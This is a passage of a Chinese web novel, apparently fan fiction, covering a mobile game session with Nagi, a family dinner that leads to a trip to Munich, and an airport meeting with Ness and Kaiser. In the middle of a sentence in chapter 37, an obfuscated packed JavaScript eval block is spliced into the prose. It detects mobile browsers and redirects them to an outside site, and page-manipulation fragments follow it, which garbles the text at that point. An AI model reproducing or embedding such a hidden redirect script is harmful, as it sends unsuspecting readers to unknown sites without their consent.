我操控着角色,小心翼翼地穿过街道,跑向他所在的二层小楼。刚跑到楼梯口,突然旁边窗户翻进来两个人!子弹噼里啪啦地就打在我脚边!屏幕瞬间变红! “哇啊!”我吓得惊呼一声,下意识地就想跑,结果手忙脚乱之下,角色直接卡在了楼梯扶手那里,动弹不得。 眼看就要被淘汰,耳机里传来一声极其轻微的叹气声。 紧接着,砰砰两声极快的、几乎是连在一起的枪响! 屏幕上方瞬间跳出两条系统提示: 「Nagi 使用 M24 击倒了 Player_88392」 「Nagi 使用 M24 淘汰了 Player_77461」 整个过程快得不可思议。我甚至没看清他是从哪里开的枪,那两个刚才还凶神恶煞的敌人就已经变成了盒子。 “……没事了。”凪的声音这才慢悠悠地响起,“过来舔包吧。应该有你能用的。” 我惊魂未定地操控角色走过去,果然从那两个盒子里找到了一把看起来还不错的小冲锋枪和一些基础弹药护甲。 “谢谢你,凪……”我长舒一口气,由衷地道谢。这家伙,虽然平时一副懒洋洋的样子,但玩游戏的时候……好像还挺可靠的? “……嗯。”他应了一声,没再多说。 接下来的发育路程依旧艰难。我就像个行走的灾难吸引器,走到哪儿,哪儿就有敌人冒出来。几次三番差点死掉,不是被远处的人狙击,就是差点踩到隐形的炸弹。每次都是凪如同鬼魅般出现,用那种精准到近乎冷酷的枪法化解危机。他话很少,大部分时间只是报点或者发出简单的指令。 “左边树后,一个。” “趴下。” “打药。” 我打着打着,不知不觉已经从躺着变成了坐着,身体微微前倾,手指紧张地按着屏幕,全部注意力都投入到了这个陌生的战场上。虽然依旧很菜,但至少不会像刚开始那样手足无措了。 终于,我们磕磕绊绊地进入了决赛圈。存活人数只剩下不到十人。圈子很小,枪声如同爆豆般从四面八方响起。 凪找了个反斜坡作为掩体,时不时探头出去点射,屏幕上不断跳出他击倒或淘汰敌人的信息。我则躲在他后面,紧张地观察着周围,偶尔壮着胆子对着可疑的方向扫一梭子,也不知道打没打中。 就在一次激烈的交火中,凪为了压制对面一个火力点,侧身探出的幅度稍微大了一点。 砰! 一声极其清脆的、不同于其他枪声的狙击枪响! 我看到他角色的头部爆出一团绿色的血花,然后整个人直接跪倒在地! “啊。”耳机里传来他极其短促的一声,带着一丝不易察觉的意外,“死掉了。” 屏幕上方跳出提示:「Player_66882 使用 AWM 淘汰了 Nagi」 队长标志瞬间灰暗下来。 我的心猛地一沉。完了!最大的大腿倒了!就剩我一个人了?对面还有好几队人呢! 就在我几乎要放弃抵抗,准备双手离开键盘等死的时候,一股莫名的冲动忽然涌了上来。不行!不能就这么算了!凪救了我那么多次,至少……至少得试着替他报个仇吧?就算最后输了,也不能让那个狙击手太好过! 我看着凪变成的盒子,又看了看自己包里那些之前捡到、但一直没机会用的、花里胡哨的道具——烟雾弹、闪光弹、震爆弹……还有几个被凪评价为“没什么用”的诱饵手雷。 我深吸一口气,回忆着凪之前那种冷静的操作方式。先朝着凪倒下的位置封了好几颗烟雾弹,浓郁的白色烟雾瞬间弥漫开来,阻挡了对方的视线。然后,我朝着几个不同的方向,接连扔出了诱饵手雷! 哒哒哒!哒哒哒! 诱饵手雷发出的模拟枪声果然吸引了剩余敌人的注意,枪声开始朝着那些方向倾泻。 趁着混乱,我利用烟雾的掩护,快速爬到了凪的盒子旁边,舔走了他包里所有的投掷物——特别是那几个看起来就很危险的炸弹。 剩下的敌人似乎判断出我刚才扔的是诱饵,开始朝着烟雾区域包围过来。脚步声越来越近。 我看准时机,朝着脚步声最密集的方向,一口气将包里所有的闪光弹、震爆弹全都扔了出去! 屏幕瞬间白茫茫一片!即使隔着屏幕,我仿佛也能听到对面玩家被闪瞎后发出的咒骂。 就是现在! 我猛地从烟雾边缘冲出,对着那几个因为暂时失明和失聪而原地打转的敌人,扣动扳机,将冲锋枪的子弹毫无保留地倾泻出去! 一个!两个! 屏幕上方接连跳出我的淘汰信息。 就在松口气的时候,一枚子弹飞来,我被对面狙击手爆头了。屏幕上出现我的排名,以及玩家角色的死亡动画。 “……输了。” 他顿了顿,补充了一句,像是在进行技术总结,“……反击得不错。” 这大概是从他嘴里能说出的最高级别的安慰奖了。 “呵呵。”我干笑笑。 原来打游戏是这种感觉,虽然和踢球进球的成就感不太一样,但这种刺激和兴奋感也相当不赖。 “还玩吗?”凪问道。 “等一下,”我忽然想起件事,“凪,你有什么推荐的足球游戏玩吗?”经过下午的训练和刚才的游戏,我对“足球”这个东西的好奇心似乎又加重了几分。 “足球游戏?”凪的声音听起来像是思考了一下,“……只知道《FIFA》。可以玩玩。” 《FIFA》?这个名字倒是如雷贯耳,好像确实是世界上最流行的足球游戏。 “哦哦,我知道了。”我记下了这个名字。 我们又随意聊了几句刚才游戏的细节,主要是他在指出我几个明显的失误,我嗯嗯啊啊地应着。最后,他说训练时间快到了,便结束了语音通话。 房间里重新安静下来,只剩下屏幕里游戏结算的画面还在闪烁着。我退出游戏,切到应用商店,开始在搜索框里输入“FIFA”。 一大堆相关的游戏和应用跳了出来。我找到了那个看起来最正规的《FIFA》系列最新作,看着那精美的图标和下面一连串的英文介绍,心里有点跃跃欲试。 下载还需要一段时间。我重新躺回床上,翻了个身,拿起手机,看着缓慢增长的下载进度条。 窗外,夕阳正在缓缓沉入地平线,将天空染成一片温暖的橘红色。 37. 接机 父母回家的时候,我已经躺在床上睡着了,手机上的《FIFA》还在进行着游戏。屏幕幽幽地亮着,虚拟球场上的球员们不知疲倦地奔跑着,发出细微的电子音效。我侧躺着,脸颊压着枕头,呼吸均匀,完全沉浸在被游戏和疲惫共同编织的睡梦里。他们大概是放轻了动作,没有开大灯,只有走廊透进来的微弱光线勾勒出房间的轮廓,所以并没有吵醒我。 这一觉睡得格外沉,直到胃里传来一阵清晰的、空落落的抗议感,我才不情不愿地从混沌的梦境中挣扎出来。迷迷糊糊地睁开眼,房间里一片漆黑,只有手机屏幕因为长时间无操作已经自动熄灭了。窗外,城市的霓虹灯光透过窗帘缝隙,在天花板上投下模糊的光斑。 肚子又叫了一声,这次更加响亮。饥饿感彻底驱散了残存的睡意。我摸索着打开床头灯,暖黄的光线瞬间驱散了黑暗。揉了揉眼睛,习惯性地抬手抹了一把嘴角——还好,是干的,没有流口水的丢人迹象。 趿拉着拖鞋走到穿衣镜前,果然,头发睡得乱糟糟的,几缕不听话的发丝翘得老高,像个炸毛的狮子。我赶紧拿起梳子,仔仔细细地把头发梳理通顺,又检查了一下睡衣有没有睡歪,确认自己看起来还算人模人样了,这才深吸一口气,推开房门走向餐厅。 餐厅里灯火通明,空气中弥漫着令人食指大动的饭菜香气。父亲和母亲已经坐在餐桌旁了,桌上摆着几道看起来就很美味的家常菜。母亲正优雅地小口喝着汤,父亲则拿着筷子,眼睛亮晶晶地盯着中间那盘显然刚出锅、还冒着热气的炸猪排,一副跃跃欲试的样子。 “醒啦?”母亲听到动静,抬起头对我温柔地笑了笑,“睡得还好吗?快来吃饭,就等你了。” “嗯,饿醒了。”我老实承认,拉开椅子坐下,目光立刻被那金黄酥脆的炸猪排吸引。 父亲立刻殷勤地把最大的一块猪排夹到我碗里:“快尝尝!你妈刚炸出来的,外酥里嫩,绝对一流!” 我夹起猪排咬了一口,果然,外面的面包糠炸得恰到好处,咔哧作响,里面的猪肉鲜嫩多汁,带着淡淡的胡椒香气。饥饿感让我顾不上什么形象,大口吃了起来。 我们边吃边聊,话题从今天的天气自然过渡到了白天的训练和游戏。父亲听得津津有味,尤其对我描述凪在游戏里如何大杀四方、最后又如何戏剧性地被一枪爆头的部分表现出极大的兴趣,时不时发出夸张的笑声或惊叹。母亲则更关心我有没有因为突然增加的运动量而感到不适,叮嘱我一定要注意拉伸和休息。 聊着聊着,父亲像是突然想起了什么,放下筷子,脸上露出一种混合着惋惜和试探的表情,旧事重提:“唉,说起来……爱,你真的不想去欧洲看看吗?内斯和凯撒的比赛,现场气氛肯定不一样哦?而且还能亲眼看看那些顶级联赛是怎么训练的……” 我咽下嘴里的食物,叹了口气:“想啊,当然想。但是爸,我真的没空啊。”我掰着手指数给他看,“下周要交的物理报告还没开头,数学的练习题册还剩一大半,世界史的论文资料也没找齐……还有学生会的校园祭策划案要修改……一大堆事呢。我可不像玲王,能一边踢球一边还能常年霸占年级第一的宝座。”说到这个我就有点郁闷,天赋这种东西,果然不是人人都有的。 父亲闻言,立刻做出一个极其夸张的、捶胸顿足的懊恼表情:“哎呀!你看我这事办的!”他用力拍了一下自己的额头,声音里充满了“遗憾”,“我昨天订票的时候……一不小心……手滑多买了一张!啧!这慕尼黑往返的机票,退票手续费还挺贵……唉,真是老了不中用了……” 他的演技浮夸到连旁边的母亲都没忍住,偏过头,用手掩着嘴,发出一声极轻的、压抑不住的笑声。 我面无表情地看着他:“爸,你的演技可以再烂一点吗?机票又不是电影院的门票,还能随手多买一张?”当我三岁小孩呢? “是真的!”父亲瞪大眼睛,努力让自己的表情看起来更“真诚”一点,“系统卡了一下,我以为是没点上,就多按了一次……真的!”他强调道,但那飘忽的眼神彻底出卖了他。 我无奈地放下筷子:“就算您真的多买了一张,我也去不了啊。学业为重,这可是您和妈妈从小教导我的。” 一直安静吃饭的母亲此时优雅地擦了擦嘴角,放下餐巾,看向我,语气温和却抛出了一颗重磅炸弹:“其实,爱,如果你真的想去,学业方面倒也不是完全没办法。” 我愣住了:“……啊?” 母亲微微一笑,解释道:“很多职业俱乐部的青训球员,因为要常年跟随球队训练和比赛,无法像普通学生一样按时到校上课,通常都是采用线上网络课程的方式来完成学业的。他们的课程安排很灵活,只要有网络和设备,随时随地都可以学习。如果你去了那边,也可以暂时采用这种方式。而且……”她顿了顿,眼中闪过一丝狡黠的光芒,“说不定还能遇到一些同龄的青训球员,可以一起上网课,互相交流督促,也挺好的。” 我彻底惊了,睁大了眼睛看着母亲:“妈?!你到底是哪一边的?怎么还帮着他‘忽悠’我啊?”这还是我那个一向重视教育、要求我规规矩矩上学的母亲吗? “我当然是站在你这一边的。”母亲的笑容依旧温柔,但话语里的力量却不容置疑,“只是觉得,有时候开阔眼界和体验不同的生活,同样是非常重要的学习。一次考试的成绩,或者一个学期的课堂出勤率,并不能决定一个人未来的成功与否。知识和能力的获取,途径有很多。” 父亲立刻见缝插针,猛点头附和:“没错没错!你妈说得太对了!出去见见世面,多交几个朋友,比闷头在学校里死读书强多了!你不是刚开始学足球吗?正好去看看人家欧洲顶级俱乐部是怎么搞青训的,绝对受益匪浅!那才是活教材!” 他越说越激动,身体前倾,眼睛发光:“你要是真担心学习跟不上,或者想检验一下学习成果,没问题啊!网课老师也可以给你安排线上测验、出卷子给你做嘛!现在技术那么发达,这些都不是问题!保证不会让你落下功课的!” 他们俩一唱一和,一个温和理性地分析利弊,一个热情洋溢地描绘蓝图。我听着听着,原本坚定拒绝的心墙,竟然真的被他们凿开了一丝缝隙。 想象一下,能亲眼看到安联球场,能现场感受欧洲青训的氛围,能见到内斯和凯撒……甚至,万一运气好,还能远远瞥一眼拜塔一线队的球星们?这诱惑力实在太大了。 而且……上网课?和那些可能同样在追逐足球梦想的同龄人一起?这听起来……好像确实比每天面对教室里一成不变的天花板要有趣得多。 我内心的天平开始剧烈摇晃。 父亲敏锐地捕捉到了我的动摇,立刻乘胜追击,使出了最后的杀手锏。他双手合十,做出一个近乎哀求的表情,语气也变得可怜巴巴的:“爱……你就当可怜可怜老爸行不行?那张多出来的机票真的好贵啊……浪费了多可惜……而且你忍心看你老爸我一个人孤零零地去那么远的地方吗?万一我走丢了怎么办?万一我语言不通被欺负了怎么办?你就不想去保护一下你年迈的老父亲吗?” 看着他这副耍宝的样子,我最后一点抵抗力也宣告瓦解。 “……行了行了,别演了。”我扶额,无奈地叹了口气,“我去,我去总行了吧?” “耶!太好了!”父亲瞬间变脸,欢呼一声,差点从椅子上跳起来,脸上的得意和兴奋藏都藏不住,哪里还有刚才那副“年迈老父亲”的可怜相? 母亲也露出了满意的笑容,轻轻颔首:“学校这边的手续和沟通你不用担心,我会处理好的。你只需要整理好行李,调整好状态就行。” 我看着他们俩,越想越觉得不对劲,这配合打得也太默契了?简直像早就计划好的一样! “等等……”我眯起眼睛,狐疑地目光在他们两人脸上来回扫视,“我怎么感觉……我好像被你们俩联手给下套了?” 父亲立刻抬头望天,假装研究天花板上的吊灯。母亲则端起茶杯,优雅地呷了一口,避开了我的视线,嘴角那抹得逞的微笑却怎么也压不下去。 得了,实锤了。绝对是被套路了! 但事已至此,再追究也没什么意义了。而且……说实话,我心里那点期待和兴奋感,已经像被摇晃过的汽水泡泡,噗噗地往外冒,压都压不住了。 “算了算了,”我摆摆手,决定接受这个“甜蜜的陷阱”,“反正都答应你们了。不过说好了,功课绝对不能落下!网课和测试一样都不能少!” “没问题!保证监督到位!”父亲拍着胸脯保证,虽然我很怀疑他的监督能力。 既然决定了要去,我的思绪立刻就飞到了遥远的德国。低下头,一边心不在焉地戳着碗里的米饭,一边开始忍不住想象:“说起来……要是真的见到凯撒和内斯……我该怎么做才好?会不会很尴尬?毕竟之前都是隔着屏幕……” 凯撒那副冰冷又傲慢的样子,现场看会不会气场更强?内斯倒是很热情,但现实中会不会反而拘谨?他们训练的时候,会允许外人旁观吗?我去了会不会打扰到他们? 各种乱七八糟的念头和问题一股脑地涌了出来,交织着紧张、期待和一点点不知所措。 母亲看着我一副神游天外、又是皱眉又是偷笑的样子,温和地提醒道:“先好好把饭吃完。具体的事情,等到了那边自然就知道了。保持自然和礼貌就好。” “嗯……”我应了一声,重新拿起筷子,却觉得碗里的饭菜似乎都因为即将到来的旅程而变得更有滋味了。 欧洲……德国……慕尼黑…… 安联球场……拜塔青训……还有凯撒和内斯…… 这一切,突然就从屏幕里遥不可及的影像,变成了即将亲身经历的、触手可及的冒险。 心脏因为这份期待而微微加速跳动起来。 虽然是被父母“坑”去的。 但这一次,或许真的会是一段截然不同的、充满未知和惊喜的旅程。 *** 接下来的时间,我以最快的速度处理好学校里的职务,然后又去教育处办了手续。有母亲在,事情容易许多。她只是打了个电话,和校长简单沟通了几句,那边就表示完全理解,并承诺会安排好我的线上课程和后续的考试事宜。效率高得让我咋舌,再次深刻体会到“清田美纪”这个名字在日本足球界乃至更广阔领域的分量。 剩下的几天,我几乎是掰着手指头数日子。一边疯狂赶作业,提前预习可能要落下的课程,一边偷偷在网上搜索慕尼黑的天气、安联球场的照片、拜塔俱乐部的青训新闻,还有……朱利安·洛基在PXG的最新集锦。那个黑色闪电般的身影,总在我学习间隙不经意地闯入脑海,带着一种蛮横的、令人心悸的冲击力。 出发的前夜,我几乎没怎么睡好。行李箱摊开在地上,反复检查有没有漏带什么东西——校服和课本(虽然可能穿不上但带着安心)、运动服和钉鞋(父亲坚持要带)、充电器、转换插头、还有一些日常用品。心里像揣了一只不安分的小鸟,扑棱着翅膀,既期待又紧张。 周一的凌晨,天还漆黑一片,城市沉浸在睡梦中。家里的车已经等在楼下。让我略感意外的是,这次同行的只有父亲。舅舅并没有出现,连母亲也只是送我们到门口。 “妈妈……你不去吗?”我拉着行李箱,看着只穿着居家服的母亲,心里那点因为即将远行而生的兴奋感里,不由得掺入了一丝淡淡的失落和寂寞。本以为会是一大家子热热闹闹的旅行。 母亲温柔地替我理了理衣领,眼神一如既往地沉静包容:“这次就不去了。集团这边刚好有几个重要的会议走不开。而且,”她微微一笑,意有所指地看了一眼旁边正兴奋地清点行李(主要是他的摄像装备)的父亲,“这是属于你们的‘足球之旅’,我去的话,某人反而会放不开手脚吧?” 父亲立刻大声反驳:“谁说的!美纪你去我高兴还来不及!”但那语气里的心虚连我都听得出来。 母亲但笑不语,只是轻轻抱了抱我:“去吧,玩得开心点,注意安全。学习上的事情随时和我联系。到了那边,替我和你爸爸向亚历克西斯和凯撒问好。” “嗯,知道了妈妈。”我回抱了她一下,嗅着她身上令人安心的淡淡香气,那点离家的愁绪被冲淡了些。 去机场的路上,父亲显得比我还兴奋,滔滔不绝地讲着他当年去欧洲踢球时的趣事,以及他对这次“考察”的宏伟计划。我靠在车窗上,看着窗外飞速倒退的、尚未苏醒的街景,听着父亲的喋喋不休,心里那份因为母亲和舅舅未能同行的寂寞感,渐渐被一种独立的、迈向新环境的微妙兴奋所取代。 长途飞行总是枯燥的。巨大的客机轰鸣着冲入云霄,父亲在看完一部电影后就开始歪着头打瞌睡,甚至还发出了轻微的鼾声。我戴上降噪耳机,试图看一会儿提前下载好的网课视频,但眼皮却越来越沉。机舱内昏暗的光线、恒定的白噪音、以及昨晚欠缺的睡眠齐齐袭来,最终,我还是没能抵抗住困意,歪在座椅上沉沉地睡了过去。 这一觉睡得并不安稳,断断续续地做着各种光怪陆离的梦。一会儿梦见自己在安联球场空荡荡的看台上奔跑,一会儿梦见凯撒冷着脸用德语给我出数学题,一会儿又梦见那个朱利安·洛基像一头真正的黑豹,在绿色的球场上风驰电掣,而我变成了一条躺在场边、随时可能被踩扁的鱼…… 再次睁开眼,是被飞机降落时的广播和一阵轻微的失重感弄醒的。舷窗外已是天光大亮,阳光刺眼。飞机正在缓缓降低高度,下方可以看到大片整齐的田野、蜿蜒的河流以及逐渐清晰的异国建筑轮廓。 “唔……到了?”我揉着眼睛坐直身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251837|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体,感觉脖子因为睡姿不当而有些酸疼。 “快了快了!”父亲早已醒来,精神抖擞地整理着他的相机镜头,脸上毫无倦意,“看!下面就是慕尼黑!感觉空气都不一样了啊!”他夸张地深吸一口气,虽然机舱内还是循环空气。 飞机平稳着陆,滑行,停稳。随着人群走出舱门,一股凉爽而干燥的空气扑面而来,带着一种陌生的、属于欧洲城市的独特气息。慕尼黑机场宽敞明亮,充斥着各种德英双语的指示牌和步履匆匆的旅客。 跟着人流办理入境、取行李。父亲一路上都在东张西望,像个第一次进城的孩子,对什么都很感兴趣,时不时还拿出手机拍几张照片。我则努力保持着镇定,心里却忍不住开始打鼓——等下出去,真的能看到凯撒和内斯吗?他们真的会来接机? 推着沉重的行李车走到接机大厅,目光下意识地在人群中搜寻。接机的人很多,各种举着牌子、翘首以盼的面孔。 然后,我一眼就看到了他们。 并非因为他们举着牌子(他们根本没举),而是那两个身影在人群中实在太过醒目。 亚历克西斯·内斯穿着一件浅蓝色的连帽卫衣,搭配着深色牛仔裤和运动鞋,打扮得清新又休闲,像个邻家大学生。他正微微踮着脚,努力在人群中张望,那双梅色的下垂眼里带着显而易见的期待和紧张,双手有些无措地交握着。 而站在他身边的米歇尔·凯撒,则完全是另一种画风。他穿着一身剪裁得体的黑色休闲西装,里面是简单的白色T恤,衬得他那头金蓝挑染的发色更加耀眼夺目。他脸上架着一副遮住了大半张脸的黑色墨镜,只露出线条清晰的下颌和抿着的薄唇,姿态慵懒地靠在一旁的柱子上,浑身散发着一种“生人勿近”的酷劲和仿佛与生俱来的傲气。即便隔着墨镜,似乎也能感受到他那冰蓝色眼眸扫视过来的、审视的目光。 他们两个看起来都有一米八往上,凯撒似乎比视频里看着还要更高一些,身材精瘦挺拔,像一株冷峻的白杨。内斯虽然也不矮,但站在凯撒旁边,气场就显得柔和亲切许多。 “嘿!这边!亚历克西斯!凯撒!”父亲洪亮的声音瞬间打破了距离,他用力挥舞着手臂,脸上堆满了灿烂的笑容,推着行李车就兴冲冲地朝他们走去。 内斯闻声立刻转过头,脸上瞬间绽放出巨大而真诚的笑容,梅色的眼睛亮晶晶的,小跑着迎了上来:“清田先生!爱!你们终于到了!一路飞行还顺利吗?”他的日语带着明显的德国口音,但语气里的热情毫不掺假。 “顺利顺利!哈哈,看到你们就更顺利了!”父亲大笑着,和内斯熟稔地拍了拍肩膀,然后目光转向依旧靠在柱子上的凯撒。 凯撒这才慢悠悠地直起身,取下墨镜,那双冰蓝色的眼眸如同融化的冰川,先是淡淡地扫了我父亲一眼,微微颔首,用还算流利的日语打了个招呼:“清田先生,日安。”语气算不上多么热络,但保持着基本的礼貌。随即,他的目光便越过父亲,落到了我身上。 那目光带着一种毫不掩饰的、锐利的审视,仿佛要将我从头到脚解析一遍。我下意识地挺直了背脊,感觉脸颊有点微微发烫,努力维持着镇定,对他点了点头:“你好,凯撒。” 内斯已经非常自然地凑到了我身边,脸上带着毫不吝啬的赞美,语气欢快:“爱!哇,你真的比视频里看着还要漂亮!气质真好!一路飞过来累不累?时差会不会很难受?”他的关心细腻又真诚,让人很容易产生好感。 “谢谢,内斯。还好,在飞机上睡了一会儿。”我对他笑了笑,和他聊天确实很轻松愉快,“你们特地过来接机,真是太麻烦你们了。” “不麻烦!一点都不麻烦!”内斯连忙摆手,眼睛弯弯的,“能来接你们我们很高兴!而且清田先生挑的时间非常好!今天上午我们刚好没有高强度的训练课,只有一些恢复性调整和战术分析,请个假出来完全没问题!” 父亲闻言,得意地摸了摸下巴:“嘿嘿,时间是我老婆定的,她说这个点你们肯定有空!” “清田夫人真是太周到了!”内斯立刻从善如流地把母亲也夸了一遍,“不仅人美丽,还这么细心体贴!” 我的目光不由自主地又飘向凯撒。他依旧站在那里,手里漫不经心地玩着那副墨镜,似乎对这边的寒暄没什么兴趣,但那冰蓝色的视线却偶尔会落在我身上,短暂停留,又移开,让人捉摸不透。 我忍不住小声问内斯,带着一点试探和好奇:“内斯……凯撒他,是特地陪你过来的吗?”我顿了顿,补充了一句自己都不太信的场面话,“你们感情真好诶。” 内斯愣了一下,脸上闪过一丝不易察觉的微妙神色,张了张嘴,似乎想解释什么。 但还没等他开口,凯撒那冰冷、带着独特金属质感的声音就清晰地插了进来。他不知何时已经走了过来,目光精准地锁定我,嘴角勾起一个似笑非笑的弧度,用他那带着德国口音却异常流利的英语说道: “Not really.”(不完全是。) 他顿了顿,冰蓝色的眼眸像两把淬冰的手术刀,直直地看进我的眼睛里,一字一句,清晰地宣告: “I''m not here just to keep himpany.”(我不是为了陪他而来的。)“I''m here to meet your father,”(我来是为了见你的父亲,)他的目光短暂地瞥了一眼旁边正因为被点名而露出得意表情的父亲,随即又迅速回到我脸上,那眼神变得更加深邃而具有穿透力, “and to see you.”(以及,来见一见你。) 空气仿佛在这一瞬间凝滞了。 内斯在一旁眨了眨眼睛,看看凯撒,又看看我,脸上露出一丝“果然如此”和“我就知道”的混合表情,明智地选择了沉默。 父亲则像是听到了什么极其有趣的事情,看看凯撒,又看看瞬间僵住、脸颊无法控制地开始升温的我,脸上露出了一个巨大的、混合着惊讶和促狭的笑容,但他很给面子地没有出声调侃。 而我,只觉得“轰”的一声,血液似乎全都涌向了头顶,耳朵里嗡嗡作响。凯撒这句话……是什么意思?见我的父亲可以理解,毕竟父亲是他的前辈,是世界级的门将传奇。可是……“来见一见我”? 这话从他嘴里说出来,带着一种不容置疑的笃定和一种……近乎挑衅般的直接。配上他那张没什么表情的帅脸和冰冷的蓝眼睛,没有丝毫暧昧,反而更像是一个顶尖的掠食者,终于见到了传闻中值得一看的猎物,于是亲自前来确认一下斤两。 我张了张嘴,感觉喉咙有些发干,一时间竟然不知道该如何回应这句石破天惊的“见面宣言”。心跳不受控制地加速,砰砰地撞击着胸腔,在这突然安静的接机大厅角落里,显得格外清晰。 38. 问候 总不能说,他真把自己当“网课老师”了吧…… 这个念头像受惊的鱼儿一样刚冒了个头,就被我狠狠摁回脑海深处。凯撒显然没有为自己的惊人之语做任何补充说明的打算。他重新戴上了那副遮住大半张脸的墨镜,姿态慵懒地靠回柱子上,指尖漫不经心地转着墨镜腿,仿佛刚才那句石破天惊的“来见一见你”只是随口一提“今天天气不错”。作为在场唯一一个和我没有血缘关系的、并且刚刚投下语言炸弹的人,他显得过分悠然自得,甚至有种置身事外的闲适感。 接机大厅的空气仿佛凝固成了尴尬的琥珀。我能清晰地感觉到自己脸颊上的热度居高不下,心跳声在耳膜里咚咚作响,像个失控的鼓点。视线都不知道该往哪里放,只能僵硬地盯着地面光洁的瓷砖缝隙。 “啊!对了!”内斯像是终于找到了救命稻草,声音猛地拔高,带着一种过于刻意的欢快,瞬间打破了这令人窒息的沉默,“清田先生,爱,你们的酒店订在哪里?离基地远吗?这边的交通我还算熟悉,要不要我帮你们看看最优路线?”他一边说着,一边极其自然地侧身,试图用身体隔开我和凯撒之间那无形的、令人坐立难安的气场连接,梅色的眼睛里写满了“快接话快接话”的恳求。 我几乎是感激地看向他,忙不迭地点头:“啊,好、好的!麻烦你了,内斯!”声音因为紧张而有点发干。 父亲也像是刚回过神,大手一挥,笑得依旧爽朗,仿佛刚才那微妙的气氛从未存在:“哈哈,不用那么麻烦!我们订的酒店就在你们青训基地附近,说是步行也就二十来分钟?正好,路上还能顺便逛逛,感受一下慕尼黑的街头风情!”他一边说着,一边推起行李车,“走走走,先出去再说,别堵在这里影响别人。” 有了具体的目标,气氛总算缓和了一些。内斯热情地在前面引路,介绍着机场的设施和出去的路线。父亲推着车跟他并肩走着,时不时插科打诨。我跟在父亲另一侧,努力目不斜视,但全身的感官却不受控制地聚焦在左后方——那个保持着沉默、却存在感极强的金蓝挑染身影上。他似乎并不在意被“冷落”,步履从容地跟在最后,像个监督着队伍前进的傲慢监工。 出了机场,慕尼黑清晨凉爽干燥的空气扑面而来,带着异国他乡特有的陌生感。天空是一种清澈的蓝,云层很薄。内斯和父亲还在就路线问题热烈讨论(主要是父亲在问,内斯在耐心解答),我稍稍落后半步,深吸了一口气,试图让过快的心跳平复下来。 路过一家看起来颇具年头的糕点店时,父亲猛地停下脚步,眼睛一亮:“啊!就是这家!赫萨蛋糕!”他像个发现宝藏的孩子,把行李车往我手里一塞,“爱,你看着车,等我一下!”说完就兴冲冲地推门钻了进去。 没过几分钟,他就拎着一个包装精美的盒子出来了,脸上是心满意足的笑容,径直递给了内斯:“喏,亚历克西斯,答应你的咖啡味赫萨蛋糕!这家可是老字号,味道绝对正宗!” 内斯接过盒子,看清包装上的字样后,那双梅色的下垂眼瞬间睁大了,里面迸发出难以置信的惊喜光芒,脸颊甚至微微泛红:“Oh! Mein Gott!(我的天!)真的是这家!清田先生!您、您怎么知道我最喜欢这家的咖啡赫萨?!这太……太破费了!真的太感谢您了!”他激动得有些语无伦次,捧着蛋糕盒子的手都微微颤抖,像是捧着什么稀世珍宝,那副样子比收到顶级球星的签名球衣还要兴奋。 “哈哈,小意思!你喜欢就好!”父亲得意地拍了拍他的肩膀,“爱跟我说你念叨过好几次,我就记下了。尝尝看,是不是你想的那个味道!” 看着内斯那纯粹而热烈的喜悦,我的心情也不由得跟着明亮起来。然后,我想起了另一个“任务”。 我从随身背包里摸索出一个印着便利店logo的小袋子,里面是父亲昨晚跑去扫货的结果——各种品牌、各种口味、包装花花绿绿的薄荷硬糖。我深吸一口气,做足了心理建设,然后转过身,看向那个一直沉默地站在几步开外、仿佛对这边温馨的馈赠场景毫无兴趣的凯撒。 他似有所觉,微微偏过头,墨镜滑下鼻梁少许,冰蓝色的眼眸从镜片上方瞥过来,带着一丝询问。 我走上前,尽量让自己的表情看起来自然一点,语气平淡得像是在完成一项交接工作:“咳,给你的。”我把那一小袋薄荷糖直接塞进他怀里,动作快得几乎像是扔掉一个烫手山芋,“我爸买的……说……各种口味都有,让你自己挑着吃。” 因为先前他那句“来见你”的宣言,我现在完全不想、也不敢和他有多余的交流,生怕再说两句话,我这不争气的脸颊温度又会失控飙升。 凯撒低头看了看怀里那一堆五颜六色、哗啦作响的糖,又抬起眼看向我。墨镜彻底被他勾在指尖,那双冰蓝色的眼睛清晰地映出我强作镇定却难掩窘迫的样子。他脸上没什么表情,但嘴角却极其缓慢地、勾起一个玩味的弧度。 就在我预感不妙,想要立刻后退拉开距离的瞬间,他却毫无预兆地突然向前倾身,凑近了我! 那股清冽又带着点侵略性的气息瞬间笼罩下来,混合着淡淡的、可能是须后水或者仅仅是阳光晒过的味道。我的呼吸猛地一窒,身体僵在原地,只能眼睁睁看着他逼近,冰蓝色的瞳孔里仿佛有细碎的冰晶在旋转,带着一种洞悉一切的恶劣趣味。 他靠得极近,声音压低了,用那种带着德国腔调、却异常清晰的英语,慢悠悠地在我耳边响起,气息几乎要拂过我的耳廓: “So…”(所以…) 他刻意拖长了语调,像羽毛轻轻搔过心尖,带着毫不掩饰的调侃,“…这是付给我的‘家教费’,小学徒?” 小、小学徒?! 谁是他小学徒啊?! 还有那语气!那眼神!根本就是在逗我玩! 轰——! 脸颊上的热度瞬间爆炸,我敢肯定连脖子根都红透了!大脑一片空白,所有试图组织起来反击的语言都碎成了渣渣,只剩下心脏在胸腔里疯狂擂鼓的声音。 第一次!有生以来第一次!被一个男人、而且还是以这种近乎调戏的方式!弄得如此手足无措、窘迫得恨不得原地消失! “凯撒!”内斯显然也看到了这边的情况,吓了一跳,赶紧上前两步,语气带着一丝无奈的劝阻,轻轻拉了一下凯撒的胳膊,“别这样……你会吓到爱的……” 凯撒顺着内斯的力道直起身,但脸上那恶劣的笑容却丝毫未减,冰蓝色的眼眸里闪烁着得逞的光芒,仿佛刚刚完成了一个有趣的实验。他甚至还掂了掂手里那袋薄荷糖,对着我挑了挑眉,像是在说“谢了,味道不错”。 我猛地转过身,用手背冰了冰滚烫的脸颊,心脏还在咚咚狂跳,一句话也说不出来。内斯在一旁连连对我投来抱歉的眼神,小声说着:“对不起爱,他有时候就是这样……没有恶意的,真的……” 